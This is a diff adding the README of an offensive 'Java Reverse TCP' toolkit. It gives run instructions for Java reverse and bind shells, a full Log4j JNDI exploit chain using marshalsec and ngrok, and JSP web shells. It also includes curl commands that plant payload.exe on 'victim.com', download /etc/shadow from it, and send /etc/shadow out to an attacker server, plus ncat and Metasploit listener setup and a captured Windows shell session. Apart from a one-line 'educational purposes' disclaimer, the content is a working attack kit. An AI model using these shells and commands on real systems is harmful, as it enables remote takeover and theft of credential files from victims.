|
| 1 | +# Java Reverse TCP |
| 2 | + |
| 3 | +JAR, JSP, and Java files for communicating with a remote host. |
| 4 | + |
| 5 | +Remote host will have a full control over the client and all the underlying system commands. |
| 6 | + |
| 7 | +Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS. |
| 8 | + |
| 9 | +Works with both `ncat` and `multi/handler`. |
| 10 | + |
| 11 | +Built with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run. |
| 12 | + |
| 13 | +JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit). |
| 14 | + |
| 15 | +JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit). |
| 16 | + |
| 17 | +Made for educational purposes. I hope it will help! |
| 18 | + |
| 19 | +## Table of Contents |
| 20 | + |
| 21 | +* [JAR Shells](#jar-shells) |
| 22 | +* [Log4j Shells](#log4j-shells) |
| 23 | +* [JSP Shells](#jsp-shells) |
| 24 | + * [JSP Reverse Shell](#jsp-reverse-shell) |
| 25 | + * [JSP Web Shells](#jsp-web-shells) |
| 26 | +* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script) |
| 27 | + * [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server) |
| 28 | + * [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server) |
| 29 | +* [Set Up a Listener](#set-up-a-listener) |
| 30 | +* [Runtime](#runtime) |
| 31 | + |
| 32 | +## JAR Shells |
| 33 | + |
| 34 | +Check the source code of JAR files: |
| 35 | + |
| 36 | +* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java) |
| 37 | +* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java) |
| 38 | + |
| 39 | +--- |
| 40 | + |
| 41 | +Open your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands: |
| 42 | + |
| 43 | +```fundamental |
| 44 | +java -jar Reverse_Shell.jar 192.168.8.185 9000 |
| 45 | +
|
| 46 | +java -jar Bind_Shell.jar 9000 |
| 47 | +``` |
| 48 | + |
| 49 | +## Log4j Shells |
| 50 | + |
| 51 | +This PoC was tested on Kali Linux v2021.4 (64-bit). |
| 52 | + |
| 53 | +**Change the IP address and port number inside the source files as necessary.** |
| 54 | + |
| 55 | +Open your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands: |
| 56 | + |
| 57 | +Compile the source file: |
| 58 | + |
| 59 | +```fundamental |
| 60 | +javac ReverseShell.java |
| 61 | +``` |
| 62 | + |
| 63 | +Start a local web server from the same directory as the compiled class file (i.e. `ReverseShell.class`): |
| 64 | + |
| 65 | +```fundamental |
| 66 | +python3 -m http.server 9090 |
| 67 | +
|
| 68 | +python3 -m http.server 9090 --directory somedirectory |
| 69 | +``` |
| 70 | + |
| 71 | +Download and build LDAP server: |
| 72 | + |
| 73 | +```bash |
| 74 | +apt-update && apt-get install maven |
| 75 | + |
| 76 | +git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target |
| 77 | +``` |
| 78 | + |
| 79 | +Start a local LDAP server and create a reference to the compiled class file on your local web server: |
| 80 | + |
| 81 | +```fundamental |
| 82 | +java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell |
| 83 | +``` |
| 84 | + |
| 85 | +Credits to the author for [marshalsec](https://github.com/mbechler/marshalsec)! |
| 86 | + |
| 87 | +Give the local LDAP server a public domain with [ngrok](https://ngrok.com): |
| 88 | + |
| 89 | +```fundamental |
| 90 | +./ngrok tcp 1389 |
| 91 | +``` |
| 92 | + |
| 93 | +Build the JNDI string (obfuscate it however you like): |
| 94 | + |
| 95 | +```fundamental |
| 96 | +${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell} |
| 97 | +``` |
| 98 | + |
| 99 | +## JSP Shells |
| 100 | + |
| 101 | +### JSP Reverse Shell |
| 102 | + |
| 103 | +**Change the IP address and port number inside the script as necessary.** |
| 104 | + |
| 105 | +Copy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server. |
| 106 | + |
| 107 | +Navigate to the file with your preferred web browser. |
| 108 | + |
| 109 | +### JSP Web Shells |
| 110 | + |
| 111 | +Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request. |
| 112 | + |
| 113 | +Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands. |
| 114 | + |
| 115 | +## JSP File Upload/Download Script |
| 116 | + |
| 117 | +Check the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download. |
| 118 | + |
| 119 | +When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file. |
| 120 | + |
| 121 | +### Case 1: Upload the Script to the Victim’s Server |
| 122 | + |
| 123 | +Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC. |
| 124 | + |
| 125 | +Upload a file to the victim's server web root directory from your PC: |
| 126 | + |
| 127 | +```fundamental |
| 128 | +curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe |
| 129 | +``` |
| 130 | + |
| 131 | +Download a file from the victim's PC to your PC: |
| 132 | + |
| 133 | +```fundamental |
| 134 | +curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow |
| 135 | +``` |
| 136 | + |
| 137 | +If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions. |
| 138 | + |
| 139 | +### Case 2: Upload the Script to Your Server |
| 140 | + |
| 141 | +From your JSP reverse shell, run the following cURL commands. |
| 142 | + |
| 143 | +Upload a file from the victim's PC to your server web root directory: |
| 144 | + |
| 145 | +```fundamental |
| 146 | +curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow |
| 147 | +``` |
| 148 | + |
| 149 | +Download a file from your PC to the victim's PC: |
| 150 | + |
| 151 | +```fundamental |
| 152 | +curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe |
| 153 | +
|
| 154 | +curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe |
| 155 | +``` |
| 156 | + |
| 157 | +## Set Up a Listener |
| 158 | + |
| 159 | +To set up a listener, open your preferred console on Kali Linux and run one of the examples below. |
| 160 | + |
| 161 | +Set up `ncat` listener: |
| 162 | + |
| 163 | +```fundamental |
| 164 | +ncat -nvlp 9000 |
| 165 | +``` |
| 166 | + |
| 167 | +Set up `multi/handler` listener: |
| 168 | + |
| 169 | +```fundamental |
| 170 | +msfconsole -q |
| 171 | +
|
| 172 | +use exploit/multi/handler |
| 173 | +
|
| 174 | +set PAYLOAD windows/shell_reverse_tcp |
| 175 | +
|
| 176 | +set LHOST 192.168.8.185 |
| 177 | +
|
| 178 | +set LPORT 9000 |
| 179 | +
|
| 180 | +exploit |
| 181 | +``` |
| 182 | + |
| 183 | +## Runtime |
| 184 | + |
| 185 | +```fundamental |
| 186 | +┌──(root💀kali)-[~/Desktop] |
| 187 | +└─# ncat -nvlp 9000 |
| 188 | +Ncat: Version 7.93 ( https://nmap.org/ncat ) |
| 189 | +Ncat: Listening on :::9000 |
| 190 | +Ncat: Listening on 0.0.0.0:9000 |
| 191 | +Ncat: Connection from 192.168.1.117. |
| 192 | +Ncat: Connection from 192.168.1.117:49895. |
| 193 | +Microsoft Windows [Version 10.0.18363.1556] |
| 194 | +(c) 2019 Microsoft Corporation. All rights reserved. |
| 195 | +
|
| 196 | +C:\Users\W10\Desktop\Reverse Shell>whoami |
| 197 | +desktop-4kniu10\w10 |
| 198 | +
|
| 199 | +C:\Users\W10\Desktop\Reverse Shell>ver |
| 200 | +
|
| 201 | +Microsoft Windows [Version 10.0.18363.1556] |
| 202 | +
|
| 203 | +C:\Users\W10\Desktop\Reverse Shell> |
| 204 | +``` |
0 commit comments